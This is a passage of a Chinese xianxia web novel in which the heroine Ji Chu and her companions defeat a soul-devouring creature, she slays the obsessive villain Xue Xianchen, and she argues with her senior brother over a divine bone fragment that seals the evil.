他神色一变,睁眼的一瞬间,果断提着纪楚飞身而起。 挡在眼前的手松开,光亮一下子照进了眼睛。 还不等纪楚适应眼前的明亮,伴随着一道极为响亮的呼气声,地面忽然开始坍塌下陷。 伴随着地面彻底下陷消失,一个巨坑出现在两人面前。 阵法中烛火长明不熄,将坑底的东西照亮。 一个巨大的、半透明的、水球一样的东西,朝着他们的顶部方向横着裂开一条大缝,如同大张着嘴一般,在等着倒霉蛋一脚踩空掉下去。 而在那“水球”半透明的身躯中央,包裹着无数色泽阴暗的残魂。 它们在“水球”中挣扎挤压,将“水球”外壳撞成不规则的形状,哀嚎声连绵不休,快要冲破包裹着它们的那一层薄薄的表皮。 浓黑的邪气从“水球”周围冒出来,如同尖锐可怖的鬼爪,朝着四面八方挥去。 怨魂,恶念,邪物。 终于展露全貌。 “你在这呆着。” 孟喻辞将纪楚放到暂时安全的地方,目光落到“水球”中央的被众多怨魂围绕着的一处光点,身形一动,便要朝坑里跳。 “等等,等等!” 纪楚急忙拉他袖子:“师兄,你别跳啊!” 孟喻辞被她拉住,停下步子看她一眼,给她手里放了两个盘盘果,摸了摸她的头说: “我去去就回,你不要乱跑。” 纪楚拿着两个盘盘果,跟着他朝坑边走了两步,眼见师兄像一道剑光一样,笔直锐利地跳进了“水球”张开的大嘴,消失在众多扭曲的怨魂中央。 她目瞪口呆。 下一刻,她的目光忽然落到了不远处的一条长长的影子。 怎么像两个人? 纪楚先是疑惑,下一刻忍不住倒吸一口凉气: 那挂在半空中晃晃悠悠的两个人,正是许盈和蒋成旭! 许盈一手拉着蒋成旭,一手堪堪攀在巨坑上方一块突出的石头上。 石头并不牢固,根本承担不动两个人的重量,眼看快要坚持不住。 纪楚心里一急,哪里还顾的上师兄说的“不要乱跑”,匆忙将盘盘果朝怀里一揣,朝着两人悬挂的地方跑去—— 作者有话说:月末了,蹲蹲收藏和(差点过期的)营养液[眼镜] 第46章 “许盈!蒋成旭!” 吊在半空的两人听见这声熟悉的喊声,一抬 头,看见纪楚正趴在他们头顶冲他们招手。 “纪楚!” 许盈在偏上的地方,一手攀着石头,一手拉着快要掉下去的蒋成旭,看见纪楚后激动地抬头。 只这一小小的动作,石块便明显一松,许盈和蒋成旭同时惊呼,在半空中晃了两下。 蒋成旭:“……求你抓紧点。” “抱歉抱歉。” 许盈这回不敢乱动了,听见纪楚在上面喊: “你别动!我下来帮你们!” 蒋成旭一急: “不,别让她下——” 一个“来”字尚未说完,就见纪楚已经动作迅速地从旁边拉了根藤蔓绑在自己腰上,又拽了两根结实的拿在手里,“蹭蹭蹭”坠着滑到了他旁边。 蒋成旭:“……你下来的好快……” 纪楚下来才发现不太对劲。 她本以为两人只是不小心掉了下来,只要把藤蔓给他们,就能拉着上去。 但滑到蒋成旭身边后她才看清,两只怨气形成的鬼爪从“水球”身上蔓延出来,正死死扯着蒋成旭的腿和另一只胳膊,将他牢牢锁在半空动弹不得。 如果不是许盈一直不松手,他随时都可能会被拽下去。 并且巨坑中间到处都是怨气,纵使没有被鬼爪直接缠着,她也被这格外浓重的怨气压得难受,胸口格外沉闷,提不上气,更使不出灵力。 怪不得许盈和蒋成旭两个人的表情都那么难看,迟迟没有召剑出来自救。 蒋成旭一脸郁闷地解释: “我被幻象困住,挣脱不开。” 朋友出现后,许盈憋着的那口气终于可以松上半分,忍不住骂道: “到底是什么东西你舍不得砍?!要不是我及时找到你!你就喂下面那水球了!” 蒋成旭似有苦衷,任凭她怎么骂都不回答,许盈因而更加生气: “你爱说不说!反正被怨气缠着的人不是我!” 她虽然这么说着,抓着蒋成旭的手却没有放松半点。 坑边借力的石头不知不觉间又朝外移动了几分,两人被鬼爪扯着一起朝下移了半寸。 与此同时,纪楚抓紧时间用一根藤蔓绕过许盈的腰,把她牢牢捆住后,又试图用另一根藤蔓去绑蒋成旭。 只是蒋成旭吊着的角度不好,她绑了半天都没成功。 头顶的石头滚了下去,瞬间被坑底的怨气覆盖。 许盈的一只手解放出来,两手拽着蒋成旭的胳膊,额头青筋都快要崩出来,拼命将他从鬼爪手中抢了一点上来。 纪楚急忙像套羊一样把蒋成旭的腰套在藤蔓上。 只是还不等他们松一口气,那鬼爪就再度施加力气,许盈和纪楚两个人一齐被朝下拽去。 蒋成旭的腿已经快要碰到下面的“水球”。 “水球”里面包裹着的恶念和残魂伸出胳膊,将球面顶得老高,如同球上一个骤然突出的尖角。 一低头,甚至能看到形貌可怖、双目泛红的鬼脸。 只隔着一层薄薄的、半透明的膜,那些残魂仿佛随时都会冲出来,恶狠狠地咬下他一块肉。 纪楚看了一眼就觉得难受。 一想到师兄竟然直接跳进了这堆东西里,她越发担心起来。 三个人废了半天劲,也就只能勉勉强强和鬼爪拉成平衡,蒋成旭觉得自己好像都被上下齐齐发力拉成了长条状的人。 眼看很有可能变成三个人一起掉下去,他张了张嘴,正想说话,被许盈提前预判: “你最好少说屁话!” 蒋成旭先是诧异,随后表情从郁郁挣扎又恢复成了以往的疏朗,故意开玩笑说: “你不会以为我要说拉不动就放手吧?其实我刚刚是想说,我们三个这样手拉手吊在怨气中间,好像一串风干的熏肉啊……” 纪楚:“……” 该死的她竟然觉得饿了。 蒋成旭继续说: “其实直接吃就挺好吃的了,但是我更喜欢加点蒜泥小米辣爆炒一下,这样更香。” 许盈露出痛苦的表情: “我想松手擦擦口水。” 蒋成旭大惊:“不要啊女侠!” 许盈趁机威胁他说:“你要是不告诉我你看见了什么才会被恶念抓住,我绝对会松手的!” 蒋成旭“啧”了一声:“我可真害怕啊……” 他们几个你一言我一语地聊起了吃,纪楚觉得拉着蒋成旭的鬼爪力气好像松了几分,不再像刚才那样拼命往下拽。 她想到了自己先前得意忘形,结果把那邪物气得直接放大招揭她老底。 看来这邪物听得懂他们说什么,也颇通人性。 她心生一计,动了动身子,借着藤蔓将自己挪到许盈身边,小声耳语: “水球是活的,它会生气。” 许盈立马明白她想做什么,于是提高声音说: “你不说我也知道,这邪物看着又丑又笨的,能造出什么幻象啊!无非就是上课被骂,修行受阻,道侣出轨,一点意思都没有。” 蒋成旭接到两人给的信号,也立马跟着说: “就是!这邪物在地下不知道埋了多少年,老古董一个,它懂什么啊!” 下方大张着嘴的“水球”忽然发出一声巨大的呼气声,将挂着三人的藤蔓吹得左右乱晃。 许盈和蒋成旭一脸惊喜:“它还真生气啊!” 纪楚低头看向下面骤然躁动起来的“水球”,里面的残魂简直像是炸了锅一样地嘶吼挣扎,感觉不太对劲: “有点奇怪啊……” “别管奇不奇怪的,管用就行!” 许盈继续发力: “长的这么恶心,怪不得会被地煞锁魂阵锁起来,恐怕是怕它出去把人恶心吐吧——” 她话音刚落,底下的邪物忽然从中间一点爆发出巨大的亮光,随后“水球”中间包裹着的恶念和残魂齐声尖啸起来,在“水球”的表面撕扯着撞击着。 某个瞬间,一道极其细微的、仿佛碎纸般的声音自“水球”表面响起,然后那膨胀到快要爆炸的邪物就当着他们的面炸了开来。 浓重的邪气如火山喷发般瞬间从地步冲了上来。 抓着蒋成旭的鬼爪不知何时消散了,他们三个被这股剧烈的气流冲撞散开,如同几片被狂风裹挟而起的叶子,一下子被冲散到了不同的方向。 幸亏有藤蔓捆着,不至于直接飞没影。 纪楚在水球爆炸的同时下意识低头寻找,却没有看见师兄的影子。 “水球”忽然爆炸,十有八九就是师兄做的。他没有出现和她汇合,一定是被什么东西困住了。 只是她如今吊在半空什么也做不了,只得牢牢抓紧藤蔓,试图借着这股冲击力把自己甩到巨坑上边去。 许盈和蒋成旭已经用同样的方法成功荡了上去,此刻正在坑边冲她挥手,示意她快点上去。 纪楚便也卯足了力气,一跃而上—— 许盈及时拉住她胳膊,将她拽了上去。 纪楚道谢,刚站稳,就在蒋成旭身边看见了一个她没想到的人——薛羡尘。 纪楚当即脸色一变,拔剑抵在了薛羡尘脖子上。 薛羡尘目光瞥过剑刃,冲她一笑,语气却故意装作茫然无辜: “阿楚这是何意?” 许盈见纪楚杀气凌凌,并不多问,直接拔出了剑对着薛羡尘。 唯独蒋成旭有些摸不着头脑,他没有上前阻拦,只问纪楚: “这是怎么了?” 纪楚转向蒋成旭:“他就是伤你的魔!” 蒋成旭先是诧异,随后解释道: “你误会了,纪楚,他不是魔,他是薛羡尘,当时魔族攻击我,还是他替我挡了一下。” “薛羡尘?” 许盈打量面前的“薛晨”几眼,长剑不动: “薛羡尘也不是什么好东西!” 纪楚听见蒋成旭的话,下意识诧异道: “他救你?怎么可能?” 薛羡尘脸上的笑意更浓: “原来,阿楚以为那只魔是我啊?” “好遗憾,阿楚……猜错了呢。” 他说着“遗憾”,话里却并无遗憾之意,甚至还略微抬起下巴,主动将脖子朝纪楚的剑刃上送 : “不知我是哪里给了阿楚这样的误解,但是无妨,阿楚想对我做什么都行……杀我也行。” 许盈和蒋成旭都看着他们。 纪楚握剑的手捏了又捏,最后还是将剑放了下去。 “怎么会呢?” 她露出个狰狞的笑: “我不是那种为了赢不择手段杀害同门的人。” 薛羡尘这下子眼里是真切的遗憾了。 好可惜,被纪楚用这样的表情一剑抹喉,一定会很爽吧…… 见无事发生,蒋成旭说: “邪物炸开的突然,残魂怨气到处流窜,我们还是得找到地煞锁魂阵的压阵宝物,才能将这里彻底封住。” 许盈指了指下面邪物炸开后露出的地方: “有两个洞口,我们是一起,还是分头……” “分开走。” 纪楚果断道:“我和薛羡尘去左边,你们去另一个。” 许盈原本还想和纪楚一起,没想到她竟然选了薛羡尘,只好说: “那你注意安全。” “放心吧。” 纪楚冲她点头:“我不会有事的。” 四人分开。 纪楚在前面走得飞快,薛羡尘追着她走在后面,上前一步想要拉她的手,被纪楚躲开的同时反手扇了一巴掌。 她全然没了第一次打他时的紧张,甚至反问他: “怎么?我打你,你不高兴吗?” 见薛羡尘颇有些意外地抬眼看她,纪楚又道: “我还以为你是变态呢?难道不是吗?” 薛羡尘指腹轻轻摩挲自己红肿的脸,盯着纪楚,一双眼睛毒蛇似的在她脸上巡视,片刻后蓦地笑了起来: “喜欢……” 他一句话尚未说完,纪楚抬手又给了他一巴掌。 这一下打得又狠又重,直接将他扇得嘴角破口出血。 纪楚声音冷而阴森,全然没了平时那种可爱灵动的模样: “你要是敢对我的朋友动手,我一定叫你死无葬身之地!” 自重生以来,她一直保持着天真烂漫积极乐观的姿态,但上辈子朋友惨死的恨意丝毫没有消失,一直埋在她心底。 她只是不想浪费时间去恨,她只是想珍惜重生的机会,弥补前世错过的东西。 薛羡尘先是为她骤然表露出来的负面情绪震惊,随后眼神又一点点变成了带着怨毒的沉迷。 这样漂亮的、倔强的、连恨意都如此生动的存在……他似乎更喜欢了呢…… 抓住她,占有她,让她和自己一样沉在黑暗中,她会在黑暗中剧烈地燃烧起来吗? 只是想想这种可能,他就忍不住激动起来,呼吸也变得沉重,感觉自己骨子里有什么东西在蓬勃地燃烧起来,烧得他五脏六腑都跟着变得滚烫。 他的手腕因为激动而微微颤动,忍不住抬起手,想要触碰纪楚的脸。 剑光一闪。 纪楚没有给他抬手的机会,直接一剑抹了他的脖子。 薛羡尘的玉牌开始碎裂,纪楚瞥了一眼,发现这个魔头竟然还是“人”的身份。 这玉书牌果然是个不靠谱的骗子。 薛羡尘露出痛苦神情。 虽然是薛晨的身体,但死亡的痛楚还是真切地留在他的本体上。 脱离小世界的前夕,他看着纪楚,喉咙因为纪楚毫不犹豫的一剑而痛到发不出声音,口吐鲜血,语不成掉,但脸上却挂着诡异的笑,拼命吐出一句话: “你是不是,早就知道,我……” “纪楚,我在外面等你……”—— 作者有话说:纪楚:我不会有事的,因为我是去杀人的。[害羞] 小剧场: 纪楚(面对镜头一脸严肃):龙之逆鳞,触之必死。敢动我的朋友,魔头,你死定了! 魔王:啊我死了[爆哭] …… 某作者(鼓掌):卡!非常好非常好,纪楚老师辛苦了!魔头老师也辛苦了! 纪楚(捂脸):以后可以不要安排这么中二的台词了吗?直接一剑劈了不好吗? 安排[好的]人狠话不多纪楚 第47章 亲眼看着薛羡尘的玉书牌彻底碎成渣渣,纪楚才蹲下身子,果然在他身上翻出了“杨思思”的荷包。 她第一次到赵府是为了见“薛晨”,当时她还纳闷“薛羡尘”,或者说是“薛晨”,为什么要通过何婶和她扯上关系,见到她后又轻易让她离开,再没来烦过她。 后来发现自己腰间装着“棋子”的荷包不见了,她才隐约觉得,这些碎裂的棋子或许是极为重要的东西。 地煞锁魂阵的压阵宝物,赵府的传家宝,总不会就是这些“碎了的棋子”吧? 她挑了个干净点的地方将碎棋子倒出来,也不在乎是否会丢失一些残渣,直接从最大的碎块开始拼。 这些棋子碎的很是杂乱,想要拼起来很是困难。 没了“水球”的压制,邪气和残魂四处游走,纪楚身边就飘着几个没有头或者没有胳膊腿的鬼,探着头看她的动作,时不时凑上来吓唬她一下。 玉书牌一直在闪光,可能是提醒她变成“魆”了,也可能薛羡尘正好是个“魆”,她杀了一个,自己就可以恢复“人”的身份。 不过都不重要。 纪楚头也不抬,径直将玉书牌塞到了荷包里,又打了个死结。 这东西看了无用,只是平添烦恼罢了。 她很清楚自己在做什么。 然后她掏出师兄给的两个盘盘果塞进嘴里,自己哄自己干活。 见什么办法都影响不了她,周围的邪气也只能无奈地聚成各种幻象,试图用先前的招式让她心神不定。 然而这些东西对现在的纪楚而言毫无作用,她根本懒得抬头,目光只盯着手里的碎棋子。 拼了一会儿,她就意识到自己赌对了。 拼出来的东西显然不是棋子的扁圆形,明显是一个更大更宽更圆润的东西,似乎是个比她拳头还大的圆形的球。 纪楚雀跃起来,按捺出心里的激动,更加仔细地拼剩余的部分。 到最后的时候,她面前只剩一些拼不起来的残渣。 纪楚眼睛都快花了,捧着中间镂空的“成品”小心翼翼站起来,一手兜着那些残渣,连呼吸也不敢太用力,生怕把手里的东西吹散了。 一个小孩模样的鬼故意凑上来,作势要对着她手上的球吹气。 纪楚:“!” 怎么会有心眼这么坏的鬼啊! 她两只手都占着,没手拔剑,又怕打斗动作太大把手上的球晃散架,于是捧着球飞速朝前走,将那坏心眼的小鬼甩在身后。 得亏练剑之人手臂稳当,健步如飞也能将手上的东西捧得稳稳当当。 纪楚余光瞥见一串小鬼跟着她飘了过来,急忙又走快几步。 走着走着,她忽然感觉自己的步子变得越来越沉重,甚至远远落在她身后的小鬼都已经追到她旁边,伸出艳红的舌头甩来甩去。 纪楚用胳膊挡住手里的球,以免被对方的舌头撞散架。 粘腻冰凉的触感随着她的停步悄悄缠上她的腿,一道触手模样的透明物体从她身侧伸了出来,以正对着她胸口的高度,骤然打向她手中的球。 纪楚抱着球迅速蹲下,躲过了这一攻击。 手里的球沾上点触手的粘液,非但没有碎裂,反而迸发出荧荧微光。 纪楚感觉一股牵引力从球镂空的地方传出来,仿佛有什么东西在吸引着它一样,连带着她捧着球的手臂都被拽着朝前移。 她一时没抓住,那黑色的球竟然直直飞了出去! 岂有此理,她废了这么大劲才拼出来的球,竟然自己飞了? 纪楚又气又震惊,猛的将双腿从粘液里拔了出来,追着球一路跑过拐角,身后跟着一串鬼和充满粘液的触手。 这球竟然比青极峰的兔子还要灵活,别说纪楚轻易抓不住,就连追着她们跑的小鬼和触手都碰不到它。 不远处又出现了一个岔路口。 黑球放慢了速度,似乎是在辨别方向。 纪楚看准时机,一手出剑砍断了朝她们飞来的触手,一边伸手在半空一捞——按住了那颗逃跑的黑球。 然而还不等她松口气,手里的黑球就再次躁 动起来,拽着她猛的朝右边拐角飞去。 与此同时,一个白色的光点也从那个方向飞了过来,倏的钻进了她手里的黑球中央。 两道光芒重合在一起的瞬间,纪楚整个人都被这道白光包裹其中。 她眼前一晃,“砰”的一声,头径直撞上了一个又软又硬的东西,整个人都几乎倒退着飞出去。 一双手及时拉住她两臂,往回一拉,纪楚便晕倒在他怀里,手上死死攥着融合了白光的黑球。 * 重生多日后,纪楚再一次看见了那双赤金无瞳的眼睛。 这双眼睛显然没有前世所见时那样诡异,但她依然生出了一股巨大的恐惧感。 不知怎的,分明面前这眼睛既没有瞳孔也没有情绪,可她就是从中看到了几分莫名的、类似于野狗见到骨头时的贪婪。 “有趣……” 对方的声音也与她前世死前听到的声音一模一样,压迫感如同沉闷的鼓点敲在她耳膜上,纪楚怀疑自己的耳朵都快要被这两个字震出血来。 她忍住捂耳朵的冲动,极力不让自己暴露虚弱: “你到底是谁?” 面前的金色眼睛一动不动,瞬间在她面前幻化出无数双相同的眼睛,左右上下前后左右堵死了所有方向,同时逐渐朝她压了过来。 每一双眼睛都一模一样,越仔细看,越能从中感受到那股毫不掩饰的吞噬欲望。 密密匝匝的眼睛离她越来越近,纪楚忍不住压低身子蹲了下来。 仿佛整个灵魂都被剖开来切割分食一般,纪楚感觉自己的精神受到了巨大的折磨,忍不住想要呕吐。 怎么办…… 这到底是什么东西…… 好恶心…… 她用力,一点点闭上眼。 只是这个闭眼的动作都做的十分艰难,眼球干涩到像是被火烤过一样,闭上的同时甚至生出针扎般的痛楚。 她下意识握紧了手中的剑…… 剑?! 是啊,她还有剑,她并非任人宰割! 纪楚因为痛苦而紧拧着的眉头松开,她像是一下子找到了底气,头也不疼了眼睛也不酸了,连砍人都更有劲儿了…… 剑光横扫,“噗嗤”如裂锦的声音从左至右连续不断地响了一串,而后环绕着她的“眼睛墙”便如同被打破的瓷器一样,由这一条裂口处开始,逐渐向外碎裂开来。 纪楚睁开眼,看到了师兄。 她茫然地转了转眼珠子,刚从金色眼睛的恐吓中回过神来,就发现自己竟然靠坐在师兄怀里,头枕在师兄手臂上,脸颊挨着师兄胸前的衣服。 一抬头,正对上师兄那张美得惊为天人的俊脸。 纪楚忍不住跑神。 这个角度还能这么好看,师兄的五官长的可真是好啊,这高挺的鼻梁,这流畅的下颌线,真是让人羡慕…… 纪楚兀自欣赏了一番后,忽然回过神来:“!” 她急忙推开师兄揽着她的手臂,起身退开几步,和师兄保持距离。 “师兄,我怎么……” 纪楚手足无措地比划: “对不起,我刚刚好像是被撞晕了……” 孟喻辞目光沉沉,一眨不眨地盯着她。 纪楚被他这视线看得有些摸不着头脑,忍不住问他: “师兄,你怎么……这样看着我啊?我哪里不对吗?” 孟喻辞没有说话,起身,一步跨到纪楚面前,忽然拉住她的手腕。 纪楚:“?” 灵力在她经脉中运转一圈,什么都没发现。 没有魔气,什么都没有。 面前的人灵力纯净,神态平和,只因为他忽然的动作而露出几分意外,除此以外,什么变化都没有。 “第二次了……” 他情不自禁开口,喃喃叹道。 这是第二次,纪楚接触到神骨,却能全身而退了。 第一次,是在悬鹤峰上砸破结界救下他,之后虽受反噬,却丝毫不曾伤及神魂。 而这一次,她直接碰到了神骨,竟还能完好无损地醒过来,甚至没有入魔征兆…… 是她当真如此特别,还是这块神骨碎片有问题? 他的目光落到纪楚手里拿着的球,本想伸手去碰,却又顿在半空。 “什么第二次?” 纪楚听不懂他在说什么。 她只当那些金色眼睛又是什么邪物造的幻象,不理解师兄为什么看起来这么紧张。 想把师兄的手扒拉下去,一抬手,却发现自己手里还攥着个漆黑的球。 中间一点白光像是被罩在圆形瓶子里的萤火虫,在黑球中左右冲撞。 纪楚这才想起来,刚才就是这个球害的她一路狂奔,最后撞到了师兄身上,现在脑门还生疼。 被打断的愤怒又转了回来,她猛地晃了晃手里的球,看见白色光点顿时成了一团乱七八糟的影子,这才觉得心里的气消了几分。 孟喻辞见她活力满满的样子,根本不像接触过神骨的样子,迟疑着、缓缓松开了她的手腕,出声询问: “你——可有不适?” “没有啊。” 纪楚根本不知道他的担心,一脸无所谓地摇了揺头。 下一刻,她忽然“啊”的一声,捂着脑门蹲了下去。 孟喻辞先是被她吓了一跳,随后又发现她手捂着的地方露出一小片红肿。 看起来,是刚刚她突然飞出来的时候撞伤的。 他心里的万般思绪又都变成了无奈,这样一起一伏的情绪变化实在让他有点应接不暇。 但纪楚的伤更为重要。 他于是暂且按下自己那些复杂的思绪,屈起单膝在她面前蹲下,两手捧着她的脸抬起来。 一边轻轻拉开她挡在自己头上的手,一边低声哄道: “给我看看。” 纪楚放下手,露出红肿的额头。 她眼睛水汪汪的,不是哭了,而是后知后觉地发现自己的脑袋好像肿成了寿星公,又疼又肿,连带着上眼眶都发酸。 “师兄,你是石头做的吗?” 她不怪自己忽然飞出来,却瞪着眼睛来指责他不够软。 孟喻辞没有搭理她的指控,一手托着她下巴,一手指腹凝了冰冰凉凉的灵力,按在她脑门上揉了揉。 “好冰!” 纪楚嘶了一声,脖子后缩想躲,却被他按住: “别乱动。” 他的动作比上次治她手腕上的伤时轻了不少,纪楚很快就觉得那股肿胀的痛感减轻了。 因为伤在头上,师兄帮她疗伤时离的很近,本就精致的五官凑近了看更加惊艳。 漆黑的眸子不像平时那样冰冷,微微上挑的眼尾配着长而浓密的睫毛,显得又温柔又专注。 纪楚骤然遭此美貌暴击,下意识睁大眼睛。 孟喻辞从指缝间看见她目不转睛的眼神,不由得问道: “在看什么?” 纪楚圆溜溜亮晶晶的眼睛弯起来: “师兄,你长的真好看啊……” 孟喻辞给她揉脑门的动作一顿—— 作者有话说:纪楚:真心的夸赞。 师兄:!手段了得! 第48章 空气仿佛都停滞了片刻。 他的动作才刚一停,纪楚就以为是治好了,果断抬手将他的胳膊扒拉下来, 然后按了按自己头上肿包的地方。 发现已经摸不到肿块了,她一脸欣喜: “师兄你真是太厉害了!” 凝结的空气再度流动起来。 孟喻辞神色平静地收回手,缓缓站起身,脸上看不出情绪。 纪楚一边说着“谢谢师兄”,一边没心没肺地冲他伸出手,示意他拉她起来。 孟喻辞垂眸看她几息,伸出手。 纪楚一爪子搭了上来,被他轻轻一拉,就从地上跳了起来。 见师兄垂眸瞧着她,似乎在等她说话。 纪楚思考了一下,恍然大悟,举起手里的球问他: “师兄你快告诉我,这是不是就是地煞锁魂阵的压阵宝物?” 孟喻辞说不上自己是什么心情,只道: “……是。” “太好了!” 纪楚闻言欢呼起来,胜利在望的兴奋让她将一切烦恼都抛在了脑后,迫不及待地和师兄分享她找到这宝物的容易: “……师兄你都不知道!压阵宝物竟然一直在我身上挂着!要不是被姓薛那个混蛋偷走了,我压根都想不到,答案竟然一开始就在我手里!” 纪楚说到激动处,心里的兴奋难以释放,于是又两手捧着球上下摇了摇,把中间的光球又揺出了残影。 孟喻辞看得眉头一跳。 但见那光球在纪楚手里毫无作为,像是被猫玩弄的逗猫棒,他又微不可查地舒了口气。 地煞锁魂阵的压镇之宝确实是纪楚拼出来的这个黑球。 自赵府老爷将压镇之宝挖走后,地下的邪祟便没了辖制,四处害人。 其中最大的邪物吞噬了压阵宝物中的“核”,力量扩张,逐渐将其他所有的邪祟吞噬并融为己身,渐渐的,连偶然飘过的残魂也不放过。 而压阵宝物的“核”…… 孟喻辞看向纪楚捧着的球。 黑色是纪楚拼出来的“外壳”,白色的光球,则是让地煞锁魂阵得以运行的根本核心,也是害的此间人心生恶、“魆”鬼遍地的根源。 ——神骨碎片。 孟喻辞见纪楚玩够了,这才开口: “你打算怎么处理它?” 纪楚道:“当然是放回阵心,镇压邪祟,还这个小世界太平。” “可那样,你和你的朋友,都会被当做邪祟除去。” 见纪楚不说话,孟喻辞又道: “况且此物特殊,不适合留在这里。” “那邪祟怎么办?地煞锁魂阵怎么办?” 纪楚不解: “这本来就是地煞锁魂阵的压阵之物,放回原位有何不可?” “我们会不会一并被除去不重要,重要的是你。” 她拿着黑球朝后退了两步,一脸警惕: “师兄,你先前二话不说就跳进邪物里,就是为了找这个东西吧?” 孟喻辞:“是,所以你可否将它交给我来处理。” “不能。” 纪楚断然否决: “师兄先是隐藏身份淘汰我们,而后又要来抢压阵之物,根本不是来帮我们或者监督比试的……” 她神情凝重: “你到底是来做什么的?” 孟喻辞看着她。 纪楚应当早就怀疑他的目的,憋到这个时候才问他,可见是准备好要和他翻脸了。 他不想对纪楚动手,于是道: “我从未想要阻拦你赢得比赛,先前所说也并非看不起你。这个小世界被人动过手脚,已经不是简单的问仙大会比试了。” 纪楚皱眉。 孟喻辞继续说: “你不是想知道,我来做什么吗?我奉命来此,就是为了取走此物。” 纪楚听见他说: “这是神骨碎片。” “神骨又如何?” 她先是下意识反驳,随即反应过来,猛得睁大眼睛,看向手里捧着的球: “这是神骨?!” 修真界奉为至宝的神族遗骨,原本的问仙大会前三可以得到的荣耀,前世害死许盈,害死蒋成旭,害死陈梧,也害的她被人怀疑最终惨死的神骨,竟然就这样出现在了她手中?! 将纪楚的惊诧尽收眼底,孟喻辞颔首道: “虽然只是一份碎片,却仍有神骨之效。留在这里,一旦被邪祟利用,只会后患无穷,这些魆和邪物,便是证据。” 纪楚隐约觉得奇怪。 神骨是神物,为何不能彻底铲除邪物,反而会被邪祟利用,害的这个小世界邪气横行呢? 神族遗骨,这么容易被利用吗? 但这念头只是一闪而过,她看向手里的球,思索片刻,仍坚持道: “我不能给你,天快要亮了,如果不能将压阵之宝放回去,许盈和蒋成旭随时都可能会被淘汰,这么多天的努力就全白费了,而且我……” 她想到了被她塞在荷包里的玉书牌,咬了咬唇,没有继续说下去,只道: “我得去找许盈和蒋成旭。” 她毫不犹豫地拔出剑,做好了应战的准备,哪怕知道自己绝对不可能打得过师兄。 但前世遭遇教会给她一个道理: 无论是多信任亲近的人,在正邪立场面前,随时都有可能痛下杀手。 师兄可以,她也可以。 她也可以。 孟喻辞目光扫过她手中长剑。 前一刻还是师兄师妹亲密无间,下一刻她却能立即拔剑以对…… 他先前怎么没发现,纪楚是这么个狠的下心的性子…… 他将她敌视警惕的眼神看在眼里,只觉得宛如针扎一般刺眼。 此时此刻,孟喻辞无比清晰地意识到,自己无法忍受纪楚这样的对待。 他享受纪楚的亲近和信任,他享受她的依赖,并且希望她能一直依赖一直信任自己。 一旦出现这种立场相背的时刻,他甚至会萌生出一种“哪怕放弃一切原则妥协,也不能让纪楚伤心”的念头,他为自己这个念头吓了一跳。 ——可纪楚却丝毫不肯相信他。 孟喻辞缓缓垂下眸子,压下心头那股窒息感,侧身让出路来。 “你若想去,那就去吧。天亮之前,我不会阻止你。” “只一点,除了你,不许任何人接触神骨。” 纪楚没想到他竟然直接就这么让她走了,有些不敢相信地看着他。 孟喻辞避开她的视线。 ——她眼里的怀疑也让他觉得刺眼。 纪楚见他确实没有动手的意思,果断抱着球从他让开的地方跑了出去。 头也不回,怕他反悔。 孟喻辞静静伫立片刻,忽的自嘲一笑,觉得自己或许是疯了。 从什么时候开始,他竟然这么在意纪楚对他的看法。 难道是因为师兄的身份、师尊的托付,又或者是因为自己的空羽浮花在她身上,他还没有找到原因,却仍不自觉被其牵绊,所以才会被这么一点小事牵动心神吗? 在这个世界上,有谁天生就该信任谁,有谁天生就该依赖谁呢? 他为什么会对纪楚生出这样的贪求? 他疲惫地闭上眼睛,纪楚离开,他的世界再度变得安静。 其实他的世界原本就是这样寂静无人,只因着纪楚悬鹤峰上那突然的一砸,砸碎了结界,也砸碎了他眼前的黑暗和沉寂,他食髓知味,如今竟然开始不适应了。 或许,他是时候,将自己这些凌乱的情绪整理好了。 “哒哒哒”的脚步声去而复返。 孟喻辞长睫轻颤,纵使知道不该任由自己沉沦下去,却还是忍不住睁开眼睛,发现跑远的纪楚竟然又回来了。 纪楚原本是想着赶紧找到许盈和蒋成旭的。 但她刚跑出去没多远,又忍不住反复回想师兄说话时的神情。 他似乎没有打算对她动手。 饶是下定决心要和前世的师兄一样干脆果决,但这些日子的相处不是作伪。 师兄外冷内热,对她无求不应,更没有做过伤害她的事情。 如果神骨碎片真的不能留在这里,那……会不会有两全其美的办法? “你怎么又回来了?” 孟喻辞仍站在原地,光线昏暗,纪楚看不清他的表情。 纪楚站在和他保持了一点距离的地方,方便谈不拢时自己有机会逃跑: “我是想问问师兄,既然你是来取走神骨碎片的,为什么要捏碎我们的玉书牌呢?” 孟喻辞看着她的方向,没有立马回答。 她于是从荷包里把自己的玉书牌拿出来: “不如让我来猜猜吧。” 她取出玉书牌,丝毫没有低头去看上面的字的打算,仿佛对最 后的结果毫不好奇。 “是不是因为,我们的玉书牌——有问题?” 纪楚话音刚落,就看见师兄猛的看向她。 隔着一段距离,那双眸子里绝不是温柔和平和,而是锋芒毕露的凌厉。 他的目光如一柄利刃,缓缓扫过她周身。 开口,声音带着点高深莫测: “玉书牌是宗门下发,你为什么这么说?” 纪楚心里紧张,暗道自己干嘛要多此一举,万一玩脱了就全没了。 又想着要不要干脆滑跪,说自己在胡说八道算了。 但是师兄的语气实在太过平静包容,简直像是在鼓励她继续说下去似的。 于是她到底还是胆气横生,继续说了下去: “我不是在质疑宗门。但是从我们到这个小世界开始,所有的任务都是由玉书牌下发的,人和魆的判定,也是由玉书牌来完成的。” “可是……” 不说还好,一说她就有些生气: “可是这个身份根本什么用都没有,只是让我们战战兢兢、自相残杀。” “我不相信宗门会用这种方式考验我们的心性,也不相信一块玉书牌就能判定我心性是否有变,这根本就是张机设阱,给我们下套!” “……” 一阵沉默。 纪楚说完才觉得自己着实有点冲动了。 不知怎的,面对着师兄时,她总是有种“有人撑腰”的感觉,忍不住暴露自己的真实想法。 前世也是如此,她在旁人面前努力伪装,却总忍不住在师兄面前暴露最不堪的一面。 虽然师兄也甚少阻止她吧…… 反正不管怎么样,说都说了,她不后悔,毕竟她确实就是这么想的。 哪怕师兄因为她说实话冲她发火,她也只会觉得是师兄“盲目偏信”,她绝对不会觉得自己错了! 孟喻辞看着她义愤填膺的神情,双目如燃烧的火焰一般明亮,先前被她不信任和敌视时的那种让他窒息的感觉又消失不见了。 这些话,她应该憋在心里很久了吧。 从看到蒋成旭和许盈一个个什么也没做就变成“魆”开始,再到自己被幻象困住,玉书牌开始发生变化,她应该一直都不服气吧。 但是她太弱小了,纵使心有不甘,却还是无力反抗,只能憋着一肚子火强行忍着。 一边气鼓鼓地跟着规则前行,一边从未放弃寻找冲出去的办法。 如今,怎么就在他面前通通说了出来呢? 